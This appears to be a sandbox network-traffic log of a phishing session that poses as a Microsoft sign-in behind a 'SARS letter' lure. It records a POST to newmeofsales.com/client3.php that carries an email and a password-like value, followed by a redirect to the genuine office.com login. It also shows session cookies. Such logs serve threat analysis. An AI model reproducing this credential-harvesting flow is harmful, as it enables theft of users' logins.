2025-04-01 10:11:46 UTC	2077	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 70 37 69 67 79 32 40 68 61 6f 7a 62 79 69 2e 63 6f 6d 22 2c 22 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 68 65 63 6b 50 68 6f 6e 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 73 74 22 3a 22 72 51 51 49 41 52 41 41 68 56 4d 37 6a 4f 4e 6b 47 4d 78 6a 4e 37 63 62 63 56 78 30 49 41 51 55 61 43 55 6f 45 4f 44 6b 74 35 33 34 73 64 49 57 65 54 69 78 38 33 44 69 78 4c 46 6a 4e 35 48 6a 2d 4f 33 45 37 7a 69 4a 52 41 4f 48 Data Ascii: {"username":"p7igy2@haozbyi.com","isOtherIdpSupported":false,"checkPhones":false,"isRemoteNGCSupported":true,"isCookieBannerShown":false,"isFidoSupported":true,"originalRequest":"rQQIARAAhVM7jONkGMxjN7cbcVx0IAQUaCUoEODkt534sdIWeTix83DixLFjN5Hj-O3E7ziJRAOH
2025-04-01 10:11:47 UTC	1620	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" client-request-id: 84919c82-e9f2-4954-a709-cb1ec83d8302 x-ms-request-id: e8488d2e-a1dd-4a46-b639-8023beb90600 x-ms-ests-server: 2.1.20393.4 - WUS3 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+chi"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-Sr_5HPbQCw1LnhP4Rn8agA' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Set-Cookie: fpc=AnxeKz3mi6BEio4rlACbXLa8Ae7AAQAAANSyfd8OAAAA; expires=Thu, 01-May-2025 10:11:46 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 01 Apr 2025 10:11:46 GMT Connection: close Content-Length: 1271
2025-04-01 10:11:47 UTC	1271	IN	Data Raw: 7b 22 55 73 65 72 6e 61 6d 65 22 3a 22 70 37 69 67 79 32 40 68 61 6f 7a 62 79 69 2e 63 6f 6d 22 2c 22 44 69 73 70 6c 61 79 22 3a 22 70 37 69 67 79 32 40 68 61 6f 7a 62 79 69 2e 63 6f 6d 22 2c 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 31 2c 22 49 73 55 6e 6d 61 6e 61 67 65 64 22 3a 66 61 6c 73 65 2c 22 54 68 72 6f 74 74 6c 65 53 74 61 74 75 73 22 3a 31 2c 22 43 72 65 64 65 6e 74 69 61 6c 73 22 3a 7b 22 50 72 65 66 43 72 65 64 65 6e 74 69 61 6c 22 3a 31 2c 22 48 61 73 50 61 73 73 77 6f 72 64 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 65 4e 67 63 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 46 69 64 6f 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 51 72 43 6f 64 65 50 69 6e 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 53 61 73 50 61 72 61 6d 73 22 3a 6e 75 6c 6c Data Ascii: {"Username":"p7igy2@haozbyi.com","Display":"p7igy2@haozbyi.com","IfExistsResult":1,"IsUnmanaged":false,"ThrottleStatus":1,"Credentials":{"PrefCredential":1,"HasPassword":true,"RemoteNgcParams":null,"FidoParams":null,"QrCodePinParams":null,"SasParams":null

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:12:22 UTC	3595	OUT	GET /organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: esctx-gwvHdQuXFU=AQABCQEAAABVrSpeuWamRam2jAF1XRQEdyqEh8wrZ8Ex1AYZY4REGJWogfQa5qbsjm-XHt0euMDySNJ2AdVvkZFj474Pxalmo35lcW8bijhnOIfLSMJhW9JCcRzEIbF-B3QHz0vwScMyT_xbqvwBBZRLs8D56rOL_xkV8cxuvyyh8EUBzBiqCiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AQMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAADAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEbaL8fLeMidHHGL4oh_wh3tb5Qy-BeGazU-G8WsX1HqWG-kn0rRxNrTJYm8v1wGGijH77fY_4zUcYkfgBF0apTgzYjSAOtALYwoanMo2J8RQgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQErgDC436aE1NgWVyuxpxo6QT9R12nBEYjyPrJulSjAVsUQof-S5gHwfU5tbBAdRrDWHaEcTTg_y87JKvuSm9O3Jzh75gT3Le6rgEOGhlEpgnzbVgiG89pI2M8zdDVBad1BE5PSFWhBM4bD7gXrpNmjn9KTGdHz9yfWlVt0fHJ4XIgAA; esctx-24Fe4O2lTOY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAsG5J4M6nLguGYmo5nwcYDcWdSBHgHne41oqLQQYskEzzfvbHLIsr1R5aknrBLdC-pG2o2AReMafJ6p2lGpHu0aaYdrpj7ZmPcSTJPIhrChzLUYinURrx4c0K0HBSE4mdDmQhHT2bQqJLHBJ3mP8XyAA; fpc=AnxeKz3mi6BEio4rlACbXLa8Ae7AAQAAANSyfd8OAAAA; MicrosoftApplicationsTelemetryDeviceId=0247e [TRUNCATED]
2025-04-01 10:12:23 UTC	2685	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY Link: <https://aadcdn.msftauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msftauth.net>; rel=dns-prefetch,<https://aadcdn.msauth.net>; rel=dns-prefetch X-DNS-Prefetch-Control: on P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 3997c485-0883-407a-91d1-2cdde7e25500 x-ms-ests-server: 2.1.20329.5 - SCUS ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-clitelem: 1,0,0,, x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-8kL02blMAUe615xMXXyc_g' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Set-Cookie: buid=1.AQMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAADAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEErHw7Nticw-YBYNsBCG7x5PkSouHZ2uifSRMmWp1_lnTLN4qTKniThpz0zBnuIjMjKe7kciGIaa099t0rwnDRecHUGks_6rQxA68CJnEr9sgAA; expires=Thu, 01-May-2025 10:12:23 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE-TCsPO1aPQCa_IxwpAlGUuwicIuUuI98J8XwMsM8qxdOeK3nGj7eJQ7PLZfz1NvfK7Vv7XKpkLqb6nevhstqDwDsDgP1kLP9QOSAKDDB0qY0mC2pECTv2pW6NQig7B5kPBbTj7a3UmtyysqjXMYUhInapKa2ff6hagCWQf9duZggAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-2HIk5Zxz95g=AQABCQEAAABVrSpeuWamRam2jAF1XRQEwFPglv7ae1BX3Q3DsXKp7QtnzYoTXBf6VcxkB3eCnjr8zwQDAOsxJBkD7iUvgvQmFmMhiAU2WK_FEQoH44HZ0vRWijUvCxITBnAmBBNgWhHWyHBjVBPTPfBTKR652q8HbL7Ro-AoXKBjtx39ihJCSSAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AnxeKz3mi6BEio4rlACbXLa8Ae7AAgAAANSyfd8OAAAA; expires=Thu, 01-May-2025 10:12:23 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 01 Apr 2025 10:12:22 GMT Connection: close Content-Length: 46181
2025-04-01 10:12:23 UTC	13699	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head> <title>Sign in to your account</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2025-04-01 10:12:23 UTC	16384	IN	Data Raw: 22 69 4c 6f 67 69 6e 4d 6f 64 65 22 3a 31 2c 22 66 41 6c 6c 6f 77 50 68 6f 6e 65 53 69 67 6e 49 6e 22 3a 74 72 75 65 2c 22 66 41 6c 6c 6f 77 50 68 6f 6e 65 49 6e 70 75 74 22 3a 74 72 75 65 2c 22 69 4d 61 78 50 6f 6c 6c 45 72 72 6f 72 73 22 3a 35 2c 22 69 50 6f 6c 6c 69 6e 67 54 69 6d 65 6f 75 74 22 3a 36 30 2c 22 73 72 73 53 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 66 53 68 6f 77 53 77 69 74 63 68 55 73 65 72 22 3a 74 72 75 65 2c 22 61 72 72 56 61 6c 45 72 72 73 22 3a 5b 22 35 30 30 35 38 22 5d 2c 22 73 45 72 72 6f 72 43 6f 64 65 22 3a 22 35 30 30 35 38 22 2c 22 73 57 41 4d 45 78 74 65 6e 73 69 6f 6e 22 3a 22 70 70 6e 62 6e 70 65 6f 6c 67 6b 69 63 67 65 67 6b 62 6b 62 6a 6d 68 6c 69 64 65 6f 70 69 6a 69 22 2c 22 73 57 41 4d 43 68 61 6e 6e 65 6c 22 3a 22 Data Ascii: "iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sWAMExtension":"ppnbnpeolgkicgegkbkbjmhlideopiji","sWAMChannel":"
2025-04-01 10:12:23 UTC	16098	IN	Data Raw: 22 7d 2c 22 66 41 70 70 6c 79 41 73 63 69 69 52 65 67 65 78 4f 6e 49 6e 70 75 74 22 3a 74 72 75 65 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 66 42 72 65 61 6b 42 72 61 6e 64 69 6e 67 53 69 67 6e 69 6e 53 74 72 69 6e 67 22 3a 74 72 75 65 2c 22 62 73 73 6f 22 3a 7b 22 73 74 61 74 65 73 22 3a 7b 22 53 54 41 52 54 22 3a 22 73 74 61 72 74 22 2c 22 49 4e 50 52 4f 47 52 45 53 53 22 3a 22 69 6e 2d 70 72 6f 67 72 65 73 73 22 2c 22 45 4e 44 22 3a 22 65 6e 64 22 2c 22 45 4e 44 5f 53 53 4f 22 3a 22 65 6e 64 2d 73 73 6f 22 2c 22 45 4e 44 5f 55 53 45 52 53 22 3a 22 65 6e 64 2d 75 73 65 72 73 22 7d 2c 22 6e 6f 6e 63 65 22 3a 22 41 77 41 42 45 67 45 41 41 41 41 44 41 4f 7a 5f 42 51 44 30 5f 33 74 4e 32 4c 34 52 76 49 52 4e 43 49 69 33 52 33 6b 37 52 4f 4f 52 54 Data Ascii: "},"fApplyAsciiRegexOnInput":true,"country":"US","fBreakBrandingSigninString":true,"bsso":{"states":{"START":"start","INPROGRESS":"in-progress","END":"end","END_SSO":"end-sso","END_USERS":"end-users"},"nonce":"AwABEgEAAAADAOz_BQD0_3tN2L4RvIRNCIi3R3k7ROORT

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:12:46 UTC	793	OUT	POST /client3.php HTTP/1.1 Host: newmeofsales.com Connection: keep-alive Content-Length: 73 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Origin: null Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:12:46 UTC	73	OUT	Data Raw: 6e 61 6d 65 3d 62 68 69 37 7a 62 25 34 30 73 77 69 2e 6e 65 74 26 6e 65 77 79 65 61 72 3d 41 25 32 31 76 71 25 32 34 6d 4a 7a 48 65 25 35 44 47 26 62 75 74 74 6f 6e 32 3d 56 49 45 57 2b 53 41 52 53 2b 4c 45 54 54 45 52 Data Ascii: name=bhi7zb%40swi.net&newyear=A%21vq%24mJzHe%5DG&button2=VIEW+SARS+LETTER
2025-04-01 10:12:47 UTC	586	IN	HTTP/1.1 302 Found Connection: close x-powered-by: PHP/8.3.19 location: https://newmeofsales.com/others.htm content-type: text/html; charset=UTF-8 content-length: 0 date: Tue, 01 Apr 2025 10:12:47 GMT cache-control: no-cache, no-store, must-revalidate, max-age=0 strict-transport-security: max-age=31536000; includeSubDomains; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:12:47 UTC	791	OUT	GET /others.htm HTTP/1.1 Host: newmeofsales.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 If-None-Match: "067e1a724-0;;;" If-Modified-Since: Mon, 24 Mar 2025 18:40:36 GMT
2025-04-01 10:12:48 UTC	471	IN	HTTP/1.1 304 Not Modified Connection: close etag: "067e1a724-0;;;" date: Tue, 01 Apr 2025 10:12:47 GMT strict-transport-security: max-age=31536000; includeSubDomains; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff cache-control: max-age=1333600, must-revalidate alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:12:48 UTC	1139	OUT	GET /?auth=2&home=1 HTTP/1.1 Host: www.office.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://newmeofsales.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: OH.FLID=85d16236-38e9-4994-94c5-066db8de5dab; OH.DCAffinity=OH-eus; .AspNetCore.OpenIdConnect.Nonce._qIcgoyFU9ws-0VuZUL-tp7_vbofWLvtYDYSr6tvS5jHtNn-Lb4rJrJbQxvOdYjrePHoj5AYds1y6c13TFvrLcXHggYHRYWDaNC9yoZ3Ap5oR9e_NUQZXIqvG-0FyYCYzNfV_qqOa7HSBbDudkBWCVfGWeLNktagyLd5ocuSAsb-3eSXfw3dCUDdHOufxaVe2FTfahpAa5cY-nrJTbwevGnvpuiveDW5mpXPrUa6cRhdfxBya_Uj5qBTvUplX1HB=N; .AspNetCore.Correlation.d0v2y-Zg_JCM9QkRHwwjYA9UUKw40GSJNE6cTKOxdh8=N
2025-04-01 10:12:48 UTC	2863	IN	HTTP/1.1 302 Found Cache-Control: no-store,no-cache Pragma: no-cache Location: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790991687892271.MDFmZWVlOWUtNjdkNS00ZTA0LWEyMTktZDBmN2IzNDBjNjBkYjMzMWZlOWItOTM3Yy00MjNmLThkOTgtM2M0ODc3ZTU5MWM3&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwEmBS5HiStCXhPFr0aEpoXdOIxGhET3uQWmQCTu4gmsADL52ItANQ3__iw-nJ8_ruzIOvbZ4GYmBXQ0SF5Hdwfx8PyQX0F6TgPakTVmtV9_v2vUehwkdjWnDwJTxDca2S3mcy8hEboF5i_bL8vheGFDW9_JVGB3_ukyrnroW9M8mXa6DWu3VPbiA740pJJunKomgi0UHl_foXy9U8enPtIen2WOaEmeD4WJDIc-nWH7dEO47vipOa3x21A0pvidOyy5gaZtd_qNN-z2JT-Li57tg9e-LiCgJ_sqPndIypyts0kJSc-bxr8CcoXZ-Ar0cTCgVCvbZqublGINTZHoPc9kOJp8Z6gOCe1q-EJMM&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0 Set-Cookie: CreateFreeAccountButton=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: p.UnauthUserCookie=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: OH.SID=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: .AspNetCore.OpenIdConnect.Nonce.TJAq_G9UrhFWIGd0nmAAXd4_8qEP0I4bBgCCb_R74pjdBAnh3EgikmHhPEthagljq42xC7YXkZjB4UsYxoe18eObnka_foVsEyvpNLLhKA1iHH3clhdQ8yrrJMc5XRtAoNVh_hV8vNJLSkTbLTwUdfWCEtAu_uN2dRAmtI0oK9DBQgGvzdA6p_LJUy392G0I0RhMPFofAJDyEgFDOE0fz1q5xocSBq4g8xgQMAb4p5tdCi9HpfflQO1AdtD5mNwP=N; expires=Tue, 01 Apr 2025 10:27:48 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.Correlation.L94uIJyvA8MDjScutdmZiQFzVBUo7kyhR-3l5Mj2QJ0=N; expires=Tue, 01 Apr 2025 10:27:48 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.OpenIdConnect.Nonce._qIcgoyFU9ws-0VuZUL-tp7_vbofWLvtYDYSr6tvS5jHtNn-Lb4rJrJbQxvOdYjrePHoj5AYds1y6c13TFvrLcXHggYHRYWDaNC9yoZ3Ap5oR9e_NUQZXIqvG-0FyYCYzNfV_qqOa7HSBbDudkBWCVfGWeLNktagyLd5ocuSAsb-3eSXfw3dCUDdHOufxaVe2FTfahpAa5cY-nrJTbwevGnvpuiveDW5mpXPrUa6cRhdfxBya_Uj5qBTvUplX1HB=; expires=Mon, 31 Mar 2025 10:12:48 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.Correlation.d0v2y-Zg_JCM9QkRHwwjYA9UUKw40GSJNE6cTKOxdh8=; expires=Mon, 31 Mar 2025 10:12:48 GMT; path=/; secure; samesite=none; httponly Request-Context: appId= Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge,chrome=1 Request-Id: e04f9c51-08be-4f08-bdbc-b9e35d5ac7be X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 7BDBF083FF894284B351A07A5FF10240 Ref B: EWR311000107051 Ref C: 2025-04-01T10:12:48Z Date: Tue, 01 Apr 2025 10:12:48 GMT Connection: close Content-Length: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:12:48 UTC	2904	OUT	GET /organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790991687892271.MDFmZWVlOWUtNjdkNS00ZTA0LWEyMTktZDBmN2IzNDBjNjBkYjMzMWZlOWItOTM3Yy00MjNmLThkOTgtM2M0ODc3ZTU5MWM3&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwEmBS5HiStCXhPFr0aEpoXdOIxGhET3uQWmQCTu4gmsADL52ItANQ3__iw-nJ8_ruzIOvbZ4GYmBXQ0SF5Hdwfx8PyQX0F6TgPakTVmtV9_v2vUehwkdjWnDwJTxDca2S3mcy8hEboF5i_bL8vheGFDW9_JVGB3_ukyrnroW9M8mXa6DWu3VPbiA740pJJunKomgi0UHl_foXy9U8enPtIen2WOaEmeD4WJDIc-nWH7dEO47vipOa3x21A0pvidOyy5gaZtd_qNN-z2JT-Li57tg9e-LiCgJ_sqPndIypyts0kJSc-bxr8CcoXZ-Ar0cTCgVCvbZqublGINTZHoPc9kOJp8Z6gOCe1q-EJMM&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0 HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://newmeofsales.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: 